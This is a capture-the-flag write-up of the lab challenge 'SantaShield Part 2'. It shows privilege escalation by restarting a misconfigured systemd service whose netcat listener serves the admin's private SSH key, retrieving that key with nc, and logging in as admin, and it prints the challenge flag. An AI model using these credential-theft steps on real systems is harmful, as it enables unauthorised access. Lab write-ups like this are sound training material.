SantaShield Part 2

Challenge Name:

SantaShield Part 2

Category:

Boot2Root

Challenge Description:

Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?

https://tryhackme.com/jr/santashieldsecurity2o25

Continuing from SantaShield Part 1, we have initial access as the user account on the target system. Now we must find a way to escalate our privileges and find the next flag!

Approach

Enumeration with LinEnum

After obtaining initial access as the user account, I transferred linenum.sh to the target to automate privilege escalation and vulnerability detection:

$ bash linenum.sh > linenum.txt

The output revealed several interesting artifacts in /usr/local/bin/:

/usr/local/bin/restart_admin
lrwxrwxrwx 1 root root   39 Nov 21 06:36 admin-shell.service -> /etc/systemd/system/admin-shell.service

Initial Dead End: restart_admin Script

I discovered the restart_admin executable with curious permissions:

Readable and executable by the user account
Requires elevated privileges to execute effectively
Points to /etc/systemd/system/admin-shell.service

I spent considerable time analyzing this script, attempting to exploit it for privilege escalation. However, it proved to be a red herring—the real vulnerability lay elsewhere.

Discovery: ncl.service

While examining the systemd services directory at /etc/systemd/system/multi-user.target.wants/, we discovered the ncl.service symlink alongside other services:

user@debian:/etc/systemd/system/multi-user.target.wants$ ls -alh
total 8.0K
drwxr-xr-x 2 root root 4.0K Nov 29 06:47 .
drwxr-xr-x 8 root root 4.0K Nov 29 05:45 ..
lrwxrwxrwx 1 root root   39 Nov 21 06:36 admin-shell.service -> /etc/systemd/system/admin-shell.service
lrwxrwxrwx 1 root root   44 Nov 29 06:47 amazon-ssm-agent.service -> /lib/systemd/system/amazon-ssm-agent.service
lrwxrwxrwx 1 root root   35 Nov 10 05:20 apache2.service -> /lib/systemd/system/apache2.service
lrwxrwxrwx 1 root root   41 Nov 10 05:16 console-setup.service -> /lib/systemd/system/console-setup.service
lrwxrwxrwx 1 root root   32 Nov 10 05:16 cron.service -> /lib/systemd/system/cron.service
lrwxrwxrwx 1 root root   40 Nov 10 05:16 e2scrub_reap.service -> /lib/systemd/system/e2scrub_reap.service
lrwxrwxrwx 1 root root   31 Nov 27 05:44 ncl.service -> /etc/systemd/system/ncl.service
lrwxrwxrwx 1 root root   38 Nov 10 05:16 networking.service -> /lib/systemd/system/networking.service
lrwxrwxrwx 1 root root   41 Nov 10 05:16 open-vm-tools.service -> /lib/systemd/system/open-vm-tools.service
lrwxrwxrwx 1 root root   36 Nov 10 05:16 remote-fs.target -> /lib/systemd/system/remote-fs.target
lrwxrwxrwx 1 root root   31 Nov 10 05:20 ssh.service -> /lib/systemd/system/ssh.service

Examining the contents of ncl.service revealed the vulnerability:

[Unit]
Description=test
After=network.target

[Service]
User=admin
Group=admin
Type=simple
ExecStart=/bin/bash -c "/usr/bin/nc -lvp 6666 < /home/admin/.ssh/id_rsa"
WorkingDirectory=/home/admin
Restart=no
StandardInput=tty-force
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

Exploitation: Reading the Admin SSH Key

The ncl.service is configured to:

Run as the admin user
Start a netcat listener on localhost port 6666
Serve the admin’s private SSH key (/home/admin/.ssh/id_rsa) to anyone who connects

Despite our user account lacking direct privilege escalation paths, I can restart this service and retrieve the key:

/usr/bin/systemctl restart ncl.service

Once the service is restarted, I connect to the exposed port:

nc 127.0.0.1 6666

This yields the admin’s private SSH key:

With the private key, I can now authenticate as the admin user:

chmod 600 id_rsa
ssh -i id_rsa admin@127.0.0.1

This grants us administrative access to the system.

Interestingly we land in a restricted bash (like a terminal jail), that we have to identify how to proceed from…

admin@debian:~$ cd ~/.ssh
-rbash: cd: restricted
admin@debian:~$ mkdir ~/.ssh
-rbash: mkdir: command not found
admin@debian:~$ ls
flag.txt
admin@debian:~$ cat flag.txt
-rbash: cat: command not found
admin@debian:~$ 
admin@debian:~$ less flag.txt
NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}

And by means of testing out what is available to us, we are finally able to read the flag with the less command!

Stay tuned for the final part, where we go for root and glory!

Flag

NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}

Reflections and Learnings

Multi-vector enumeration: LinEnum revealed not just privilege escalation paths, but also exposed dangerous systemd service configurations. Automated tools uncover what manual inspection might miss.
Systemd as an attack surface: Service files often contain sensitive operations. Reviewing all services—especially custom ones like ncl.service—is critical during post-exploitation.
Distraction and persistence: The restart_admin script was a deliberate distraction. Not every discovery leads to exploitation; verify feasibility before sinking time into dead ends.
Implicit trust in local services: The system allowed an unprivileged user to restart services and read from them, creating a privilege escalation bridge even without direct escalation.
Defense implications:
- Never expose sensitive keys or credentials through network services, even if bound to localhost.
- Restrict service restart privileges to only necessary users.
- Audit all systemd services for overly permissive commands.
- Use secrets management systems instead of embedding keys in service definitions.

SantaShield Part 2

Challenge Name:

Category:

Challenge Description:

Approach

Enumeration with LinEnum

Initial Dead End: restart_admin Script

Discovery: ncl.service

Exploitation: Reading the Admin SSH Key

SSH Login as Admin

Flag

Reflections and Learnings